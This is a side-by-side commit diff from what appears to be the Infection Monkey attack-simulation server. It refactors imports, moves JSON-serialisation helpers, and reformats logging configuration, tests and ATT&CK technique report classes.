from flask import Flask, send_from_directory, make_response, Response
from werkzeug.exceptions import NotFound from werkzeug.exceptions import NotFound
from monkey_island.cc.auth import init_jwt from monkey_island.cc.auth import init_jwt
@ -29,19 +26,19 @@ from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.services.representations import output_json
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.test.monkey_test import MonkeyTest from monkey_island.cc.resources.test.monkey_test import MonkeyTest
from monkey_island.cc.resources.test.log_test import LogTest from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak' __author__ = 'Barak'
HOME_FILE = 'index.html' HOME_FILE = 'index.html'
@ -62,32 +59,6 @@ def serve_home():
return serve_static_file(HOME_FILE) return serve_static_file(HOME_FILE)
def normalize_obj(obj):
if '_id' in obj and not 'id' in obj:
obj['id'] = obj['_id']
del obj['_id']
for key, value in list(obj.items()):
if isinstance(value, bson.objectid.ObjectId):
obj[key] = str(value)
if isinstance(value, datetime):
obj[key] = str(value)
if isinstance(value, dict):
obj[key] = normalize_obj(value)
if isinstance(value, list):
for i in range(0, len(value)):
if isinstance(value[i], dict):
value[i] = normalize_obj(value[i])
return obj
def output_json(obj, code, headers=None):
obj = normalize_obj(obj)
resp = make_response(dumps(obj), code)
resp.headers.extend(headers or {})
return resp
def init_app_config(app, mongo_url): def init_app_config(app, mongo_url):
app.config['MONGO_URI'] = mongo_url app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode()) app.config['SECRET_KEY'] = str(uuid.getnode())

View File

@ -1,7 +1,6 @@
import monkey_island.cc.auth import monkey_island.cc.auth
from monkey_island.cc.environment import Environment from monkey_island.cc.environment import Environment
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -34,8 +34,8 @@ def load_server_configuration_from_file():
def load_env_from_file(): def load_env_from_file():
config_json = load_server_configuration_from_file() loaded_config_json = load_server_configuration_from_file()
return config_json['server_config'] return loaded_config_json['server_config']
try: try:

View File

@ -2,7 +2,6 @@ import os
import json import json
import logging.config import logging.config
__author__ = 'Maor.Rayzin' __author__ = 'Maor.Rayzin'

View File

@ -1,33 +1,33 @@
{ {
"version": 1, "version": 1,
"disable_existing_loggers": false, "disable_existing_loggers": false,
"formatters": { "formatters": {
"simple": { "simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
} }
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": [
"console",
"info_file_handler"
]
}
} }

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG) default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self") tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel) command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426. # instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod @staticmethod

View File

@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
self.clean_monkey_db() self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()), linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64") description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
windows_monkey = Monkey(guid=str(uuid.uuid4()), windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla") description="Windows bla bla bla")
unknown_monkey = Monkey(guid=str(uuid.uuid4()), unknown_monkey = Monkey(guid=str(uuid.uuid4()),
@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase):
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info() cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0) self.assertEqual(cache_info_after_query_1.hits, 0)
self.assertEqual(cache_info_after_query_1.misses, 1) self.assertEqual(cache_info_after_query_1.misses, 1)
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label)) logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label))
self.assertIsNotNone(label) self.assertIsNotNone(label)
self.assertIn(hostname_example, label) self.assertIn(hostname_example, label)
@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase):
# should be cached # should be cached
label = Monkey.get_label_by_id(linux_monkey.id) label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label)) logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info() cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1) self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1) self.assertEqual(cache_info_after_query_2.misses, 1)
@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase):
# should be a miss # should be a miss
label = Monkey.get_label_by_id(linux_monkey.id) label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("3) ID: {} label: {}".format(linux_monkey.id, label)) logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info() cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
logger.debug("Cache info: {}".format(str(cache_info_after_query_3))) logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only # still 1 hit only
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2) self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.finding import Finding
@ -26,7 +26,7 @@ class AggregateFinding(Finding):
def add_malicious_activity_to_timeline(events): def add_malicious_activity_to_timeline(events):
AggregateFinding.create_or_add_to_existing( AggregateFinding.create_or_add_to_existing(
test=TEST_MALICIOUS_ACTIVITY_TIMELINE, test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
status=STATUS_VERIFY, status=zero_trust_consts.STATUS_VERIFY,
events=events events=events
) )

View File

@ -2,7 +2,7 @@ from datetime import datetime
from mongoengine import EmbeddedDocument, DateTimeField, StringField from mongoengine import EmbeddedDocument, DateTimeField, StringField
from common.data.zero_trust_consts import EVENT_TYPES import common.data.zero_trust_consts as zero_trust_consts
class Event(EmbeddedDocument): class Event(EmbeddedDocument):
@ -19,7 +19,7 @@ class Event(EmbeddedDocument):
timestamp = DateTimeField(required=True) timestamp = DateTimeField(required=True)
title = StringField(required=True) title = StringField(required=True)
message = StringField() message = StringField()
event_type = StringField(required=True, choices=EVENT_TYPES) event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES)
# LOGIC # LOGIC
@staticmethod @staticmethod

View File

@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings.
from mongoengine import Document, StringField, EmbeddedDocumentListField from mongoengine import Document, StringField, EmbeddedDocumentListField
from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY import common.data.zero_trust_consts as zero_trust_consts
# Dummy import for mongoengine. # Dummy import for mongoengine.
# noinspection PyUnresolvedReferences # noinspection PyUnresolvedReferences
from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.event import Event
@ -30,18 +30,18 @@ class Finding(Document):
times, or complex action we will perform - somewhat like an API. times, or complex action we will perform - somewhat like an API.
""" """
# SCHEMA # SCHEMA
test = StringField(required=True, choices=TESTS) test = StringField(required=True, choices=zero_trust_consts.TESTS)
status = StringField(required=True, choices=ORDERED_TEST_STATUSES) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES)
events = EmbeddedDocumentListField(document_type=Event) events = EmbeddedDocumentListField(document_type=Event)
# http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
meta = {'allow_inheritance': True} meta = {'allow_inheritance': True}
# LOGIC # LOGIC
def get_test_explanation(self): def get_test_explanation(self):
return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY]
def get_pillars(self): def get_pillars(self):
return TESTS_MAP[self.test][PILLARS_KEY] return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY]
# Creation methods # Creation methods
@staticmethod @staticmethod

View File

@ -1,11 +1,11 @@
from mongoengine import StringField from mongoengine import StringField
from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.finding import Finding
def need_to_overwrite_status(saved_status, new_status): def need_to_overwrite_status(saved_status, new_status):
return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED)
class SegmentationFinding(Finding): class SegmentationFinding(Finding):
@ -35,7 +35,7 @@ class SegmentationFinding(Finding):
new_finding = SegmentationFinding( new_finding = SegmentationFinding(
first_subnet=subnets[0], first_subnet=subnets[0],
second_subnet=subnets[1], second_subnet=subnets[1],
test=TEST_SEGMENTATION, test=zero_trust_consts.TEST_SEGMENTATION,
status=status, status=status,
events=[segmentation_event] events=[segmentation_event]
) )

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import * import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.finding import Finding
@ -10,9 +10,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env() self.fail_if_not_testing_env()
self.clean_finding_db() self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY status = zero_trust_consts.STATUS_VERIFY
events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0) self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
AggregateFinding.create_or_add_to_existing(test, status, events) AggregateFinding.create_or_add_to_existing(test, status, events)
@ -29,9 +29,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env() self.fail_if_not_testing_env()
self.clean_finding_db() self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY status = zero_trust_consts.STATUS_VERIFY
event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
events = [event] events = [event]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0) self.assertEqual(len(Finding.objects(test=test, status=status)), 0)

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError from mongoengine import ValidationError
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,7 +14,7 @@ class TestEvent(IslandTestCase):
_ = Event.create_event( _ = Event.create_event(
title=None, # title required title=None, # title required
message="bla bla", message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
) )
with self.assertRaises(ValidationError): with self.assertRaises(ValidationError):
@ -28,5 +28,5 @@ class TestEvent(IslandTestCase):
_ = Event.create_event( _ = Event.create_event(
title="skjs", title="skjs",
message="bla bla", message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
) )

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError from mongoengine import ValidationError
from common.data.zero_trust_consts import * import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,25 +14,26 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded. server.json file is found and loaded.
""" """
def test_save_finding_validation(self): def test_save_finding_validation(self):
self.fail_if_not_testing_env() self.fail_if_not_testing_env()
self.clean_finding_db() self.clean_finding_db()
with self.assertRaises(ValidationError): with self.assertRaises(ValidationError):
_ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[])
with self.assertRaises(ValidationError): with self.assertRaises(ValidationError):
_ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[])
def test_save_finding_sanity(self): def test_save_finding_sanity(self):
self.fail_if_not_testing_env() self.fail_if_not_testing_env()
self.clean_finding_db() self.clean_finding_db()
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0) self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0)
event_example = Event.create_event( event_example = Event.create_event(
title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1) self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1) self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
@ -12,11 +12,11 @@ class TestSegmentationFinding(IslandTestCase):
first_segment = "1.1.1.0/24" first_segment = "1.1.1.0/24"
second_segment = "2.2.2.0-2.2.2.254" second_segment = "2.2.2.0-2.2.2.254"
third_segment = "3.3.3.3" third_segment = "3.3.3.3"
event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
SegmentationFinding.create_or_add_to_existing_finding( SegmentationFinding.create_or_add_to_existing_finding(
subnets=[first_segment, second_segment], subnets=[first_segment, second_segment],
status=STATUS_FAILED, status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event segmentation_event=event
) )
@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding( SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER # !!! REVERSE ORDER
subnets=[second_segment, first_segment], subnets=[second_segment, first_segment],
status=STATUS_FAILED, status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event segmentation_event=event
) )
@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding( SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER # !!! REVERSE ORDER
subnets=[first_segment, third_segment], subnets=[first_segment, third_segment],
status=STATUS_FAILED, status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event segmentation_event=event
) )
@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding( SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER # !!! REVERSE ORDER
subnets=[second_segment, third_segment], subnets=[second_segment, third_segment],
status=STATUS_FAILED, status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event segmentation_event=event
) )

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)}) AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config() AttackConfig.apply_to_monkey_config()
return {} return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak' __author__ = 'Barak'
import logging import logging
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'
# TODO: separate logic from interface # TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island, "nodes": monkeys + nodes + monkey_island,
"edges": edges "edges": edges
} }

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
""" """
File download endpoint used by monkey to download user's PBA file File download endpoint used by monkey to download user's PBA file
""" """
# Used by monkey. can't secure. # Used by monkey. can't secure.
def get(self, path): def get(self, path):
return send_from_directory(GET_FILE_DIR, path) return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
""" """
File upload endpoint used to exchange files with filepond component on the front-end File upload endpoint used to exchange files with filepond component on the front-end
""" """
@jwt_required() @jwt_required()
def get(self, file_type): def get(self, file_type):
""" """

View File

@ -1,6 +1,5 @@
import http.client import http.client
import flask_restful import flask_restful
from flask import jsonify from flask import jsonify
@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
elif report_type == ZERO_TRUST_REPORT_TYPE: elif report_type == ZERO_TRUST_REPORT_TYPE:
if report_data == REPORT_DATA_PILLARS: if report_data == REPORT_DATA_PILLARS:
return jsonify({ return jsonify({
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
"grades": ZeroTrustService.get_pillars_grades() "grades": ZeroTrustService.get_pillars_grades()
} }
) )
elif report_data == REPORT_DATA_PRINCIPLES_STATUS: elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
return jsonify(ZeroTrustService.get_principles_status()) return jsonify(ZeroTrustService.get_principles_status())

View File

@ -1,18 +1,18 @@
from datetime import datetime
import logging import logging
import threading import threading
from datetime import datetime
import flask_restful import flask_restful
from flask import request, make_response, jsonify from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService from monkey_island.cc.services.reporting.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -22,9 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({}) telemetries = mongo.db.telemetry.find({})
else: else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\ telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try: try:
return \ return \

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful import flask_restful
from flask import request from flask import request
from monkey_island.cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database from monkey_island.cc.database import mongo, database

View File

@ -2,7 +2,6 @@ import flask_restful
import logging import logging
from monkey_island.cc.environment.environment import env from monkey_island.cc.environment.environment import env
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -1,4 +1,4 @@
{ {
"server_config": "standard", "server_config": "standard",
"deployment": "develop" "deployment": "develop"
} }

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210, TECHNIQUES = {'T1210': T1210.T1210,
@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one. Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object :return: Report object
""" """
report =\ report = \
{ {
'techniques': {}, 'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
@ -75,7 +74,10 @@ class AttackReportService:
Gets timestamp of latest attack telem Gets timestamp of latest attack telem
:return: timestamp of latest attack telem :return: timestamp of latest attack telem
""" """
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] return [
x['timestamp'] for x in
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
][0]
@staticmethod @staticmethod
def get_latest_report(): def get_latest_report():

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique): class T1003(AttackTechnique):
tech_id = "T1003" tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = "" scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique): class T1005(AttackTechnique):
tech_id = "T1005" tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system." unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique): class T1016(AttackTechnique):
tech_id = "T1016" tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations." unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique): class T1018(AttackTechnique):
tech_id = "T1018" tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network." unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = "" scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ" __author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique): class T1041(AttackTechnique):
tech_id = "T1041" tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique): class T1059(AttackTechnique):
tech_id = "T1059" tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at." unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique): class T1065(AttackTechnique):
tech_id = "T1065" tech_id = "T1065"
unscanned_msg = "" unscanned_msg = ""
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique): class T1075(AttackTechnique):
tech_id = "T1075" tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack." unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique): class T1082(AttackTechnique):
tech_id = "T1082" tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network." unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = "" scanned_msg = ""
@ -22,17 +21,17 @@ class T1082(AttackTechnique):
{'$project': {'_id': 0, {'$project': {'_id': 0,
'machine': 1, 'machine': 1,
'collections': [ 'collections': [
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
'name': {'$literal': 'Amazon Web Services info'}}, 'name': {'$literal': 'Amazon Web Services info'}},
